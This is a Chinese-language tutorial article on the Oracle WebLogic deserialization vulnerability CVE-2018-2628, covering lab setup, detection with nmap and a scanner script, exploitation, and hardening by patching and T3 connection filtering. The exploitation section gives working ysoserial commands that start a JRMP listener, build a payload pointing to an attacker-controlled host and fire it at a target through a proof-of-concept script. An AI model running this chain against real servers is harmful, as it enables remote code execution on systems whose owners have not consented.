CVE-2018-2628漏洞是Oracle WebLogic Server中的一个高危漏洞,以下是关于该漏洞的详细检测方法、利用方式及加固措施的介绍:
漏洞检测
1、搭建实验环境:准备JDK版本(如jdk1.7.0_21)、Weblogic版本(如10.3.6.0)、Ubuntu主机(Java JDK版本1.7以上)和Windows10主机(Python版本2.X),虽然可以在Ubuntu主机上完成所有实验,但为了更好理解原理,这里将攻击机设为Windows10。
2、探测目标主机端口及服务:使用nmap对目标主机进行端口扫描,命令为“nmap -n -v -p7001,7002 目标IP地址 –script=weblogic-t3-info”,如果目标服务器开启了T3协议,扫描结果中会显示相关信息,若发现7001端口开启T3协议,则可进一步进行漏洞检测。
3、使用漏洞检测工具:在url.txt中填入目标主机的“ip:port”,然后在Windows主机打开命令行运行CVE-2018-2628-MultiThreading.py进行检测,若检测结果为漏洞存在,则说明目标主机存在该漏洞。
漏洞利用
1、开启JRMPListener监听:在Ubuntu主机上运行JRMPListener开启端口监听,命令格式为“java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class><command>”,java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"”。
2、生成Payload字符串:在Ubuntu主机上新打开一个终端,使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload字符串,命令执行的格式为“java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $’
‘ && echo”,java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.10.50:22801 | xxd -p | tr -d $’
‘ && echo”。
3、修改weblogic_poc.py文件:将生成的Payload字符串复制到weblogic_poc.py文件中替换PAYLOAD,并更改文件末尾的dip变量的值为目标服务器(Weblogic所在服务器)的ip地址。
4、执行漏洞利用工具:在Win10主机上执行weblogic_poc.py开始漏洞利用,漏洞利用成功后程序会输出反序列化程序发送的数据包信息,同时在Ubuntu主机上会看到触发漏洞后,目标服务器上的weblogic中的JVM虚拟机远程调用了监听程序中的方法向目标服务器返回了payload。
漏洞加固
1、安装官方补丁:打上官方最新的补丁,以修复该漏洞。
2、手动加固:可以过滤掉T3协议,或者设置白名单给指定的几台主机,不影响正常使用,具体操作如下:进入WebLogic控制台,点击域进行域配置;在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置;在连接筛选器中输入“weblogic.security.net.ConnectionFilterImpl”,在连接筛选器规则中输入“ip * * allow t3”(ip为允许的ip),“0.0.0.0/0 * *deny t3 t3s”,配置成功后直接保存,再用漏洞检测工具检测就显示不存在漏洞了。
CVE-2018-2628漏洞是一个严重的安全漏洞,企业和个人应高度重视,及时采取有效的检测、利用与加固措施,以确保系统的安全性和稳定性,避免因漏洞被攻击而造成数据泄露、系统瘫痪等严重后果。
原创文章,作者:未希,如若转载,请注明出处:https://www.kdun.com/ask/1574388.html
本网站发布或转载的文章及图片均来自网络,其原创性以及文中表达的观点和判断不代表本网站。如有问题,请联系客服处理。
发表回复